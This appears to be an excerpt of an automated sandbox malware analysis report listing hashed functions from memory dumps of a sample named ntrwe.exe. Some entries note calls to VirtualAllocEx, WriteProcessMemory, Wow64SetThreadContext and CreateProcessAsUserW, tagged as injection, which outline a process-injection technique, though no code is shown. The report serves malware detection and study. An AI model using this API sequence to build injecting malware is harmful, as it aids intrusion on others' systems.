Instruction ID: d88e973c3f58d069e0eb4157749aec7818b5c42682945333e2551105c4bf2235
Opcode Fuzzy Hash: 14428071a2858014ac1e4e6a821c15700aa2849711fe66e5b4d13fe651877cb0
Instruction Fuzzy Hash: BE62B1B4900259CFDB24DFA9C981A9DFBF2BF48314F56C1A9D509AB211D730AE81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00314EF1, Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d4cfb405637efb6ae3f524115fe490e8d7900c6c2dc7c84a6a2a2372c70e01c
Instruction ID: afbdf039209cf00e65b9564734d13dfb6a6328ceb4a1239ccfe72d11044215f8
Opcode Fuzzy Hash: 9d4cfb405637efb6ae3f524115fe490e8d7900c6c2dc7c84a6a2a2372c70e01c
Instruction Fuzzy Hash: 01428074E01219CFDB64CFA9C984B9DBBB2BF88310F5592A9D809A7355D730AE81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00313BC9, Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facb8043ddf9c46c80d0717757e6e87c35acf89e7d443ff021f65ec44bde55bd
Instruction ID: 0fa42009c859be464c8d82ebb4041539f5bd012ab8e35b5beeac3c78e23e452c
Opcode Fuzzy Hash: facb8043ddf9c46c80d0717757e6e87c35acf89e7d443ff021f65ec44bde55bd
Instruction Fuzzy Hash: 2E32E270900258CFDB54DFA9C581AADFBB2BF48315F56C1A9D509AB212CB30ED85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00318D20, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db1069c07cf8379a19bcdb6ae52136c47ee13c27bb1a4fcb9cd4fcebeba9f19
Instruction ID: 57cc0f399b5691d3ef9aa43a5ff7cd744d81806db094a3cca0e9498a86702cba
Opcode Fuzzy Hash: 8db1069c07cf8379a19bcdb6ae52136c47ee13c27bb1a4fcb9cd4fcebeba9f19
Instruction Fuzzy Hash: 13D1D074E00218CFDB58EFA9D994BADBBB2BF88304F1081AAD509A7355DB305E85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0031D3B8, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbccd42c413eaba7c78a50c043ab29d6856111b5f6927d2e9593636ebfb216ef
Instruction ID: bee41d0035cacec77a253e3c4628497fff197e843aaed3dcd603706746d56209
Opcode Fuzzy Hash: fbccd42c413eaba7c78a50c043ab29d6856111b5f6927d2e9593636ebfb216ef
Instruction Fuzzy Hash: 8AD19F74D01218CFDB18DFA5E988BEDBBB2BF49305F2081AAD809A7355DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0031D3A8, Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 752ef88ebec404cd695ab4b2c1719a91ccfcbc776e7a94e5b2ec6bd74fee8c45
Instruction ID: df2e7816da975f60219cd52a1c76b9e9fb6c11d463b812742ebd999d86be4d37
Opcode Fuzzy Hash: 752ef88ebec404cd695ab4b2c1719a91ccfcbc776e7a94e5b2ec6bd74fee8c45
Instruction Fuzzy Hash: 97D19E74D01218CFDB18DFB5E888BEDBBB2BF49305F2081AAD809A7255DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003197C2, Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c2e1a47c7e3581e3b5b3f0bab5e827bda09075dd92d74809bd7e664b97c460
Instruction ID: ffe2ac9cd6b4e54afdd0aed70dc271cc9982d7103874a8615dad39f4d4078dfe
Opcode Fuzzy Hash: 43c2e1a47c7e3581e3b5b3f0bab5e827bda09075dd92d74809bd7e664b97c460
Instruction Fuzzy Hash: D1B1D674E042188FDB14DFA9C850AEDFBB2BF89314F64C1AAD419AB355EB309985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00318D10, Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 052054606c88859966942328322750ceff20e1eca3837959df5962da56c7c2d6
Instruction ID: fb42ca80391785ec2ca09afeb2e4ed8b665d736e11ccabacf52e5a78ddefad6a
Opcode Fuzzy Hash: 052054606c88859966942328322750ceff20e1eca3837959df5962da56c7c2d6
Instruction Fuzzy Hash: DDA1D274D00218CFDB14EFA9D99879DFBB2FF88300F1084AAD449A7265DB345A99CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0031CE50, Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 057f132fe43d5bc99e8911f3dd25266f536951785ac63b22b9577b84294bfbd6
Instruction ID: b458012c2a9d6c2f75e922d9cc4db31a93c831c1a5291ea6f97264bd42fb6967
Opcode Fuzzy Hash: 057f132fe43d5bc99e8911f3dd25266f536951785ac63b22b9577b84294bfbd6
Instruction Fuzzy Hash: 04512274D05218DFDB19CFA5C5887EDBBB2BF49305F24902AE405AB3A4C779898ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 0031F138, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b6d7bdddc298319a7d09f8f4e2bdb726fe0702326e21f29b519e09363b95c7
Instruction ID: 421631fbbd2aaceb419b2873ae0790760d892ead439d0989ddaf30c2b55409b6
Opcode Fuzzy Hash: 05b6d7bdddc298319a7d09f8f4e2bdb726fe0702326e21f29b519e09363b95c7
Instruction Fuzzy Hash: F2210571D042188FCB09DFB4D8187EEBBB1AF4A305F00956AD515B72A0CB785984CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0031E458, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 450f9665161f3d70fab695ae545a79aba078a16ebdb267f4dcad9c6d5d2e1506
Instruction ID: 9755367ad9d3fff19972c6cfdc9e853e3463b4f754e0db4059b6eb7672bcc96f
Opcode Fuzzy Hash: 450f9665161f3d70fab695ae545a79aba078a16ebdb267f4dcad9c6d5d2e1506
Instruction Fuzzy Hash: 5E012870D152089FCB05DFB4D8047AEBFF0BF0A301F1045AAC418A7291DB344A54CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00318234, Relevance: 1.8, APIs: 1, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 0031E7F9

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 637db23d739a9e0d0ca567cf2faf1ba9195ad15fe021a6e3aad83be22682f692
Instruction ID: b2af4781184c473d03038524302533b436d88ece3d15371c262995cbf32678e2
Opcode Fuzzy Hash: 637db23d739a9e0d0ca567cf2faf1ba9195ad15fe021a6e3aad83be22682f692
Instruction Fuzzy Hash: 16C1DF74E002188FDB25CFA9C981BDEBBB1BF49304F1481A9E819B7351DB35AA85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00318232, Relevance: 1.8, APIs: 1, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileExW.KERNEL32(?,?,?,?,?,?), ref: 0031E7F9

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 06c778f4c25bafe6966b238744f72c28f9c3a855082d8ef8a7f3810ee619b900
Instruction ID: c614bd1cd06244cd935a056211f4cffbf48d1fa7393c587e634b203fe9fbadb3
Opcode Fuzzy Hash: 06c778f4c25bafe6966b238744f72c28f9c3a855082d8ef8a7f3810ee619b900
Instruction Fuzzy Hash: 8EB1EF74E002188FDB25CFA9C885BDEBBB1BF49304F1481A9E819B7251DB35AA85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00313AC1, Relevance: 1.6, APIs: 1, Instructions: 98
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00313B6F

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a895a9a0e58f253a6c90e5119c0d4325bb6ef29820a9cd902d4cfbe3ad9d7551
Instruction ID: ccf25b0864b6af325e1f75f3d4094717edbcab2a39ce41c3592d4a1019aba595
Opcode Fuzzy Hash: a895a9a0e58f253a6c90e5119c0d4325bb6ef29820a9cd902d4cfbe3ad9d7551
Instruction Fuzzy Hash: D33188B8D042589FCB10CFA9D484AEEFBB0FB5A310F24946AE854B7210D775AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 003177B8, Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00317867

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d4eff3c72050b28aaecf20b9a83d03b317e547d6c848122fec8b27bf302931d1
Instruction ID: 5651bb34829da4179348b724352548dac7132e1f39dafb73dcad58b93e15e89f
Opcode Fuzzy Hash: d4eff3c72050b28aaecf20b9a83d03b317e547d6c848122fec8b27bf302931d1
Instruction Fuzzy Hash: FF3178B9D042589FCB14CFA9E484ADEFBB0BB4A310F24942AE854B7310D375AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00313AC8, Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00313B6F

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 145d8306dd953722904187950f0d315e5b042540373a59ccb7b3054fe0672b8d
Instruction ID: 50ab0e2345476182cc738b75303b5b32bc9a55e661d89699d99267bb2e70417e
Opcode Fuzzy Hash: 145d8306dd953722904187950f0d315e5b042540373a59ccb7b3054fe0672b8d
Instruction Fuzzy Hash: 263198B8D042589FCB10CFA9D484AEEFBB0BB19310F24902AE814B7310D775AA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 003177C0, Relevance: 1.6, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00317867

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ae89f1441132e8bbd2c3204bb7f901568a55850d2d29708f39be7cca5e919332
Instruction ID: 15473cfac61ab43a1a9c4826c466e6f530f89bde44fa0f6f6bfd29d959554bb2
Opcode Fuzzy Hash: ae89f1441132e8bbd2c3204bb7f901568a55850d2d29708f39be7cca5e919332
Instruction Fuzzy Hash: 013177B9D042589FCF14CFA9E484ADEFBB4BB4A310F24942AE814B7310D775AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00312F5C, Relevance: 1.6, APIs: 1, Instructions: 86
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 00317F19

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 43abe19f0c9e95d7ad100dc099eebd1e20686763c7fca58d54e298161420dfd8
Instruction ID: 54eeac7e2003f7388d4e41344b269e7ca07bc4af9a0847d96f535509e0837698
Opcode Fuzzy Hash: 43abe19f0c9e95d7ad100dc099eebd1e20686763c7fca58d54e298161420dfd8
Instruction Fuzzy Hash: 0A31ACB4D052189FCB14CFA9D884AEEFBF5AB49314F14846AE414B7210D375A985CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00317E7A, Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 00317F19

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c65cbcc60c7b07c799d014573278025261199f760a20be1c3144389fff6a081e
Instruction ID: 940b71ce27ec87cb35bf1e1d7d1477cb8cfbf6d67237f3b125935b67aad5a882
Opcode Fuzzy Hash: c65cbcc60c7b07c799d014573278025261199f760a20be1c3144389fff6a081e
Instruction Fuzzy Hash: 5D31AAB4D092589FCB10CFA9D884AEEFBF0BF49314F18846AE814B7250D375AA85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0016D3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5470d463f0f561f3a5455cbc6a814aa66f2682916b666f3507c488d23601545
Instruction ID: eb0c75ebefd725e6e9826dbbf24cff4283d559395880bee37980928f4222ed29
Opcode Fuzzy Hash: a5470d463f0f561f3a5455cbc6a814aa66f2682916b666f3507c488d23601545
Instruction Fuzzy Hash: 2C214871A04244DFCB14DF10EDC0B26BF65FB98314F24C168E9094B60AC736EC26C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0016D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3270d4498a49e86bf1f1d1523f66e78a1f074cd178e05ec1148e5327153b49
Instruction ID: 31bb9dd4ffb546751f9da5f22c6f49c956f8280d9acb8d4727826d5db2bd2dc6
Opcode Fuzzy Hash: ac3270d4498a49e86bf1f1d1523f66e78a1f074cd178e05ec1148e5327153b49
Instruction Fuzzy Hash: 1D210371A04244DFCB15DF14ECC0B26BF75FB88318F24C569E9064BA06C336D826CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0016D3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: 009b0fb0ab1888d8fc55b39087bd6eef930630dc78016aec94b237bb5fea7d5d
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: 7511D675904240DFCB11CF10D9C4B16BF71FB94314F24C6A9D8094B656C33AD866CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0016D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction ID: 523783e173c34c279f8cb3bd325138bd596215a5d263742f8fa730c1b0fdfdb0
Opcode Fuzzy Hash: 3630e81130c5ad3ccc8a6c51d744565a6a9584d7478e96c596689db372f3e6c5
Instruction Fuzzy Hash: 4C11E676904280CFCF12CF10E9C4B16BF71FB94314F28C6A9D8450B616C336D866CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0016D775, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ead2874d45e91dd1eef20590183b2ffbdd6e39943fe764d8bf7e23e9ae685d
Instruction ID: f107b40f56f14cee6d4f3bbfefbaa6a305b667b5b939edbdd738f26194d6212c
Opcode Fuzzy Hash: c0ead2874d45e91dd1eef20590183b2ffbdd6e39943fe764d8bf7e23e9ae685d
Instruction Fuzzy Hash: 6B01A731A083449AD7109E16EC88B67BF98EF41728F18C45ADE055A187C7799840CAB3

Uniqueness

Uniqueness Score: -1.00%

Function 0016D774, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177049986.000000000016D000.00000040.00000001.sdmp, Offset: 0016D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_16d000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd049d410581339c7843a8251c5c6b340e9b6a885d864cf7d5d9b72ee6c35a0
Instruction ID: 4dfcc9e659cea9b9a0411b795bbef8a47efbfb9672f60ea23403b3d72c346bc4
Opcode Fuzzy Hash: 1bd049d410581339c7843a8251c5c6b340e9b6a885d864cf7d5d9b72ee6c35a0
Instruction Fuzzy Hash: 97F06276508244AAEB108E15DC88B63FF98EF52734F18C55AED085B286C3789C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0031DEC8, Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2177169764.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_310000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8a24fd9c08f9e29a89bc83701a67f18c212a064c45deb9b91281b558f2735d
Instruction ID: f83a709127b699683834e58482c639243dac1b57c1bc6fdb4e9e42f3c5324211
Opcode Fuzzy Hash: 8c8a24fd9c08f9e29a89bc83701a67f18c212a064c45deb9b91281b558f2735d
Instruction Fuzzy Hash: 31020574D00228CFDB29DFA5C844BEDBBB2BF49304F5481AAD809A7395DB359A85CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ntrwe.exe PID: 1916 Parent PID: 2800 ntrwe.exeCOMMON

Execution Graph

Execution Coverage:	31.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.8%
Total number of Nodes:	169
Total number of Limit Nodes:	16

Executed Functions

Function 009D5BC0, Relevance: 1.8, APIs: 1, Instructions: 250
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 009D5DAC

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: c26108a402a8e49d37fb11434b18b3f483af827cdf236ed36ab99801e5894038
Instruction ID: bb33f8aea09c42bd07531228538fd6ab80ade9dd4df835f96bdf6d630a32bb88
Opcode Fuzzy Hash: c26108a402a8e49d37fb11434b18b3f483af827cdf236ed36ab99801e5894038
Instruction Fuzzy Hash: BA91EF74D0426D8FCB21CFA4C880BDDBBB5BF0A304F1191AAE548B7210DB719A85DF94

Uniqueness

Uniqueness Score: -1.00%

Function 009D5BB4, Relevance: 1.8, APIs: 1, Instructions: 254
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 009D5DAC

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 24fb368297864572ff42cc2c39ae869923d5f42deb2df3fcdf1060a679b51e82
Instruction ID: 32db8b269aef14f5d2d2270b384d8cbb74ba6ee8c098b3444ffc8e1ef120c6d5
Opcode Fuzzy Hash: 24fb368297864572ff42cc2c39ae869923d5f42deb2df3fcdf1060a679b51e82
Instruction Fuzzy Hash: 3D91E074D0426C8FCB21CFA4C880BDDBBB5BF1A304F1591AAE548B7260DB719A85DF94

Uniqueness

Uniqueness Score: -1.00%

Function 009D8988, Relevance: 1.6, APIs: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 009D8A63

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 833f8ec4f354ef381e0985bd130ea039c4e46d6f1d00e0430159803abc045719
Instruction ID: d489fbdf0124aaa77c54286fad1c7ca7ae1618621d9484f92e10a0796bf75ef7
Opcode Fuzzy Hash: 833f8ec4f354ef381e0985bd130ea039c4e46d6f1d00e0430159803abc045719
Instruction Fuzzy Hash: 8041A9B5D052589FCB00CFA9D884ADEFBF1BB49310F24942AE815B7240D779AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 009D8990, Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 009D8A63

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 55b9ebb0da6f1f0b5438649727555cd91c3ca405924348349f5e2e386d97e915
Instruction ID: 9cab94a706cdc89e7e2462f473d0413c02f3d875169f9cd22348aea6b4de4d36
Opcode Fuzzy Hash: 55b9ebb0da6f1f0b5438649727555cd91c3ca405924348349f5e2e386d97e915
Instruction Fuzzy Hash: 2C419AB4D052589FCF00CFA9D984ADEFBF1BF49314F14942AE815B7200D779AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00502F25, Relevance: 1.6, APIs: 1, Instructions: 110
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?), ref: 00507F19

Memory Dump Source

Source File: 0000000F.00000002.2190278747.0000000000500000.00000040.00000001.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_500000_ntrwe.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b734b1083efc888e29446101772309d56706155b7f6cb755ed97f5253da2e6ab
Instruction ID: bf8429ed5e77b86e844864f58f188b1a6e19b39c4d2ee816214e7fa312aaef7b
Opcode Fuzzy Hash: b734b1083efc888e29446101772309d56706155b7f6cb755ed97f5253da2e6ab
Instruction Fuzzy Hash: F8412270D092588FCB01CFA9D884ADEFFF4BF4A314F1984AAE444B7251C778A945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 009D86A0, Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 009D8752

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 44d320c0c5b8419e24b1c5cedd6bd7cb80e1d449ce8487a0c337ee0fe1944272
Instruction ID: bf8cb3229ba4fdf0e9962b588833f35a8ac70ac1a33cbe2d0a05f389e8859c37
Opcode Fuzzy Hash: 44d320c0c5b8419e24b1c5cedd6bd7cb80e1d449ce8487a0c337ee0fe1944272
Instruction Fuzzy Hash: 8D4185B8D052589FCF10CFA9D884A9EBBB1BF49310F20A42AE815B7210D775A905CF65

Uniqueness

Uniqueness Score: -1.00%

Function 009D86A8, Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 009D8752

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d48bc6eb00cd9c11b4a4705e2b63c1f2eca987a71cefdfc05bda118b2402b413
Instruction ID: 683e76f61c967425495179157789fb04ffc42b63fab46352847bcafadc5e7f3e
Opcode Fuzzy Hash: d48bc6eb00cd9c11b4a4705e2b63c1f2eca987a71cefdfc05bda118b2402b413
Instruction Fuzzy Hash: 6C3187B8D042589FCF10CFA9D884A9EFBB5BB49310F20942AE815B7310D775A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 009D8DDA, Relevance: 1.6, APIs: 1, Instructions: 98threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 009D8E8F

Memory Dump Source

Source File: 0000000F.00000002.2190617763.00000000009D0000.00000040.00000001.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_9d0000_ntrwe.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
